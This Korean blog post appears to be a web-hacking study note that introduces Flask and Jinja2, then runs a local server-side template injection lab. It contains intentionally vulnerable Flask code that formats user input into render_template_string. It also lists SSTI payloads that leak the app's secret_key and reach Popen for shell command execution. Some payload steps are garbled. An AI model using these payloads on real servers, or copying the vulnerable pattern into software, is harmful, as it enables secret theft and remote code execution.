파이썬의 웹 프레임워크인 Flask는 파이썬 환경에서 웹 환경을 구현해 주며 간단하게 사용할 수 있다.
2.2.1 Flask 실습
설치 명령어는 다음과 같다. 나는 anaconda를 사용하기 때문에 해당 프롬프트 창에서 flask를 설치, 실행시켰다.
pip install Flask
설치 후 해당 경로에서 python [파일 명].py로 실행이 가능하다.
2.2.2 템플릿 엔진-jinja2
⇒ jinja2는 파이썬용 템플릿 엔진이다.
- 개념
플라스크는 WSGI 구현체인 Werkzueg와 템플릿 jinja2을 사용한다. jinja는 플라스크 설치 시 자동으로 같이 설치된다. 플라스크 템플릿 파일들은 /templates 폴더에 위치해야한다. 물론 독립적으로 사용 또한 가능하다.
2) 특징
- jinja의 가장 강력한 기능 중 하나는 상속 기능입니다.
- php에서 include() 와 require() 함수와 비슷한 기능을 제공합니다.
- 웹사이트를 제작하다보면 공통된 코드가 자주 사용될때가 있습니다.
- 페이지를 구성하는 파일들이 많아지면 이러한 코드들을 수정할때 많은 시간이 쓰입니다.
- 이러한 문제를 해결 하기 위해 jinja2 템플릿 엔진에서 제공하는 상속기능을 사용하면 편리합니다.
3) 예시
{% extends 'base.html' %}
{% block title %}Memberlist{% endblock %}
{% block content %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
2.2.3 SSTI 공격 방법
- 소스 코드 다운
#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
app.secret_key = FLAG
@app.route('/') #메인페이지
def index():
return render_template('index.html')
@app.errorhandler(404) #404에러 페이지
def Error404(e):
template = '''
<div class="center">
<h1>Page Not Found.</h1>
<h3>%s</h3>
</div>
''' % (request.path) #요청 경로를 받아온다. 취약
return render_template_string(template), 404
#해당 함수를 이용해 template 구문 해석
app.run(host='0.0.0.0', port=8000)
2. 설명
기본적으로 Flask는 app.n에 들어가는 대부분의 정보들이 config 클래스에 들어간다.
만약, app.secret_key에 중요정보를 넣었을때 {{ config }} 해당 페이로드를 삽입하여 config 정보를 출력하게 만들면 app.secret_key의 중요정보를 확인할 수 있다.
3. 실습
1) {{7*7}} 을 삽입해 코드가 실행되는지 확인한다.
2) {{ config.item() }} 혹은 {{ config{} }} 으로 저장 정보를 확인한다.
3) 아래와 같이 직접 {{ config(secrect_key) }} 입력으로 secret_key를 추출할 수도 있다.
4. 파일 직접 실행 실습 - 해당 문제로는 원격 코드 실행 실습까지 할 수 없어 Flask로 실습 페이지를 띄워 진행하였다.
(소스코드 참조 - https://dokhakdubini.tistory.com/515)
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from flask import Flask, request, render_template_string
app = Flask(__name__)
with open('flag.txt', 'r') as f:
flag = f.read()
app.secret_key = str(flag)
@app.route('/')
def home():
title = "SSTI 실습"
content = request.args.get('content') #get으로 content 파라미터를 받아온다.
thisistemp = '''
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>SSTI</title>
</head>
<body>
<h1>{{title}}</h1>
<h2>%s</h2>
</body>
</html>''' % content # 컨텐츠 파라미터를 받아온다. 취약
return render_template_string(thisistemp, title=title)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8080)
1) 실습 페이지를 띄운다. 소스코드를 통해 content 파라미터를 받아 뿌려주는 것을 알 수 있다.
2) config()를 출력해본다.
3) 기존 값에 Os 라이브러리 내부의 config 값을 추가한다. os 내부에는 popen이나 os 등의 실행함수가 있다.
4) {{''.class.mro}} 코드로 사용할 수 있는 class를 조회한다.
5) 파이썬 함수는 모두 object class이므로 {{''.class.mro[1].subclasses()}}로 함수들을 확인해본다.
[개념]
*파이썬의 최상위 클래스는 object이고, 클래스 정의 시 상속하지 않아도 기본으로 상속된다.
*subprocess는 파이썬 스크립트에서 쉘 명령 등 다른 프로세스를 실행하고 출력 결과를 가져올 수 있게 해주는 라이브러리다.
*Popen 클래스는 다양한 옵션을 통해 call(), check_output() 명령어보다 훨씬 유연하게 서브프로세스를 실행하고 결과값을 받아올 수 있게 해준다.
*’’로 str 타입을 리턴하고 __mro__를 사용해 root 클래스에 접근할 수 있다.
6) 이후 인덱스 값이 297번째인 것을 확인해 사용한다.
7) 이제 실제 Popen을 사용하는 것과 같이 dir → type flag.txt 를 통해 flag 파일을 열어 확인한다.
http://127.0.0.1:8080/?content={{''.__class__.__mro__[1].__subclasses__()[202](’dir',shell=True,stdout=-1).communicate()}}
'Web hacking > 개념 정리 & 심화' 카테고리의 다른 글
Django 설치 및 실습 - 2 (0) | 2022.12.01 |
---|---|
Django 설치 및 실습 - 1 (1) | 2022.11.17 |
[웹 취약점]Openssl 취약한 HTTPS 프로토콜 사용 항목 조회 (0) | 2022.06.02 |
[WEB]Blind SQL Injection 심화 정리 (0) | 2022.05.30 |
[WEB]Blind SQL Injection 사용 간단 실습 & 정리 (0) | 2022.05.30 |